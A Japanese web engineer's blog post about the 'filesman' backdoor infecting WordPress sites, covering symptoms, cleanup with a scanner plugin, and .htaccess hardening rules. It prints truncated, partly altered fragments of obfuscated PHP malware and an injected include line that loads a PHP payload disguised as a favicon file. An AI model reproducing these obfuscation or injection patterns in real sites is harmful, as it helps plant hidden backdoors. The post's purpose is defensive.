今回はセキュリティについてご紹介したいと思います。ワードプレスでのセキュリティ対策って何をすれば良いの?という方も多いかと思います。相談が多かったので記事にしました。
ほんとうは怖いワードプレスのお話です。プログラムの脆弱性を狙って侵入してきます。一度入られると同じサーバー内にウィルスをばらまかれます。ワードプレスはphpで出来ていますので同じプログラムで脆弱性を突いていきます。みるみる量産されてサーバーに負荷がかかり403サーバーエラーでサーバー側から止められるというパターンになります。
ワードプレスだけではなくphpで作成したWebアプリケーションも脆弱性を狙ってきます。composerなどで入れている場合は最新版にして必要のないプログラムなどは削除やアクセス制限などをする必要があります。
セキュリティの意識を持って対処すれば怖くありませんので日々対策に心がけるようにしましょう。
ウイルスのトロイの木馬の一種で、一度入り込むと自由に操られてしまいます。FTPを通らず入られてしまいます。いわゆる乗っ取られる状態のことです。脆弱性を狙ってきます。最近ではwelcartプラグインの脆弱性から侵入されるという場合もあるようです。
どんなファイルが設置されるか一部ですがリストで紹介します。
こんな感じでランダムなファイルですが一部ありそうなファイル名もあります。icoファイルもありますが中身はphpのウィルスファイルになっています。中身はどのような物かというと一部ですがこんな感じになっています。一部書き換えてあります。HEXでエンコードされているファイルなのでデコードされるとわかってしまいますので。。。
<?php
if (!defined('ALREADY_RUN_1ba29e36f342a32abf66525ev356718'))
{
define('ALREADY_RUN_1ba29e36f342a32abf66525ev356718', 1);
$dnrlsp = 4808; function xxnvjp($mtrzydmnw, $pkxaiqxtk){$jnhssjomh = ''; for($i=0; $i < strlen($mtrzydmnw); $i++){$jnhssjomh .= isset($pkxaiqxtk[$mtrzydmnw[$i]]) ? $pkxaiqxtk[$mtrzydmnw[$i]] : $mtrzydmnw[$i];}
あとはこのようなパターンも
<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['h0784f'] = "\x34\x79\x61\x47\x6c\x4a\x55\x4d\x5a\x74\x5a\x23\x66\x26\x59\x5a\x6a\x5e\x76\x44\x77\x4a\x74\x6b\x42\x71\x51\x4b\x49\x42\x32\x6c\x41\x6b\x51\x41\x76\x59\x71\x56\x76\x26\x5a\x69\x7a\x55\x36\x4c\x2a\x44\x34\x57\x7a\x48\x46\x65\x38\x25\x56\x37\x41\x49\x56\x62\x48\x77\x33\x4f\x61\x58\x6f\x63\x71\x61\x25\x6d\x25\x63\x4c\x56\x54\x67\x72\x6a\x4e\x51\x6a\x5e\x65\x4a\x4b\x52\x64\x26\x34\x78\x51\x6b\x42\x46\x46\x5e\x4c\x35\x6d\x4d\x6f\x31\x31\x58\x38\x21\x4b\x54\x72\x26\x31\x48\x35\x24\x37\x44\x6e\x6b\x39\x73\x42\x42\x65\x40\x66\x76\x23\x4c\x52\x74\x33\x49\x55\x51\x49\x4d\x32\x4b";
$GLOBALS[$GLOBALS['h0784f'][44].$GLOBALS['h0784f'][80].$GLOBALS['h0784f'][60].$GLOBALS['h0784f'][53].$GLOBALS['h0784f'][31].$GLOBALS['h0784f'][11]] = $GLOBALS['h0784f'][39].$GLOBALS['h0784f'][73].$GLOBALS['h0784f'][84];
$GLOBALS[$GLOBALS['h0784f'][31].$GLOBALS['h0784f'][53].$GLOBALS['h0784f'][60].$GLOBALS['h0784f'][60].$GLOBALS['h0784f'][39].$GLOBALS['h0784f'][96].
index.htmlを書き換えられたパターンは以下のような感じになっています。
<?php
/*c93de*/
@include "\x2f\x68\x6f\x6d\x65\x2f\x70\x61\x74\x68\x2f\x6e\x61\x6d\x65\x2f\x70\x75\x62\x6c\x69\x63\x5f\x68\x74\x6d\x6c\x2f\x64\x69\x72\x2f\x66\x61\x76\x69\x63\x6f\x6e\x5f\x63\x38\x35\x61\x33\x62\x2e\x69\x63\x6f";
/*c93de*/
echo file_get_contents('index.html.bak.bak');
index.phpを書き換えられたパターンも同じようになっています。
さて、このようになった状態だと駆除が難しいと思いますのでデータだけエクスポートして後はすべて削除して入れ直すというのが一番なのですが、削除も出来ないバックアップもとっていなくて今あるデータのみの場合はデータ丸ごとをPCに保存します。大概のPCはウィルス対策ソフト入れていると思いますのでウィルス入りのデータに反応してウィルスのみ削除してくれます。
あとはサーバーに戻してワードプレスの更新をします。最新の状態でも再インストールすることでコアファイルがウィルスに冒されている場合は上書きしてくれるのでこれでほとんど駆除できていると思いますが、プラグインでWordfence Securityを入れます。
プラグインの検索でwordfenceと入れたらすぐ出てきます。
入れたらすべて英語なのですがscanという項目をクリックしてSTART A WORDFENCE SCANの青いボタンを押すとスキャンが始まります。
ウィルスファイルがあるとこのように表示してくれますので該当箇所を削除すればOKです。この画面からdeleteも出来るようですがウィルスに関しては削除できないことが多いのでFTPなどから入って該当パスにあるファイルを削除して下さい。
上記のようになったら大丈夫です。これで駆除完了です。使っていないプラグインやテーマなどは削除しておきましょう。 Wordfence Securityは何日かごとに自動で簡易チェックしてくれるので確認しておくと良いです。自分でSTART A WORDFENCE SCANのボタンを押してセキュリティチェックするのも良いですね。
Wordfence Security設定項目でoptionsの中にWhere to email alertsという項目にメールアドレスを入れておけばバージョンが低いプラグインやアップデート情報、不審ファイルなどを通知してくれますので即対応できますので設定しておくことをオススメします。
WordPressのデフォルトのパーミッションはフォルダ - 755、ファイル - 644のパーミッションにして下さい。レンタルサーバーによって変わる場合があります。
wp-includesフォルダは基本的にシステム部分なので入られないようにブロックします。 マルチサイトを利用する場合は、RewriteRule ^wp-includes/[^/]+.php$ - [F,L]の記述があるとうまく動作しないので削除してください。 WP-Config.phpはアクセス拒否するようにして下さい。files wp-config.phpのところを記載します。パーミッションを「400」もしくは、「440」に設定してください。
# Block the include-only files.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]
</IfModule>
# BEGIN WordPress
# 記述なし
# END WordPress
<files wp-config.php>
order allow,deny
deny from all
</files>
wp-content/uploadsフォルダに以下のhtaccessを記載しアップロードします。 基本的に画像しか入らないフォルダなのでphpの実行ファイルが入らないようにします。
# Kill PHP Execution
<Files *.php>
deny from all
</Files>
上記のプラグインも入れておくと安心
結局のところhtmlファイルが安全だなと思う今日この頃です。因みこのサイトはhtmlファイルです。phpファイルは一切入っておりません。というかは入らないんですけどね。jekyllのサイトジェネレータで作成しています。サーバーはAWSのS3を使っております。
マルチドメインで管理するならウェブサーバーとメールサーバーが分離して扱えるレンタルサーバーなどがリスクを減らす方法の一つではありますね。法人に特化していますがCPIなどもオススメです。
WordPressでサイト構築するならCPIレンタルサーバー
プログラムのあるところにはリスクはつきものです。バックドアウィルスfilesmanにのっとられると対応が大変です。何日もそればかりの対応になってしまいますので日頃から意識しておくと良いでしょう。
ワードプレスは量産されやすいので管理が行き届いていないサイトがあると狙われやすいです。プラグインやテーマやバージョンは最新にしておくだけでもウィルスのリスクは軽減されます。使われていないプラグインやテーマなども狙われるので削除しておきましょう。バージョンが古いプラグインなどは代替を探してみましょう。
余計な物は入れないようにしてシンプルにしておくのが一番ですね。
有名どころのワードプレスのセキュリティプラグインは以下ぐらいです。
参考になれば幸いです。
∞Tadashi Suyama∞
あまりcgiは使いたくないのですが使わざるを得ない時があります。仕方なく設置するのですがエラーが出ちゃうんです。なんか知らないけど。 ありがちなのがパーミッションとかパスが問題になるんのですけど...
19 Feb 2022
今回はワードプレス専用のアドレス変更方法をご紹介します。ワードプレスのアドレスはwordpress@~という形で送られてきますが変更可能です。 functions.phpに記載するのですがプラグ...
12 Feb 2022
Sassの遷移は多すぎる今日この頃 Ruby Sass→LibSass→DartSass(いまここ) Ruby SassはSassの最初の実装でしたが、2019年3月26日にサポートが終了しま...
22 Jan 2022
明けましておめでとうございます。 本年も何卒よろしくお願いいたします。 年末年始は雪でしたね、そこまで積もっていませんが。 {% include adsensearticle.html...
10 Jan 2022
最近はjQueryよりvueで書いた方が楽ではないかと思い学習中です。 そもそもVuejsはドキュメントが日本語対応なので試しやすいし情報も豊富なので学習しやすいです。 3大フレームワークと呼...
02 May 2021
ウェブエンジニアの須山のブログです。
WEBに関することや個人的に関心のあることについて書きます。主に技術系ブログです。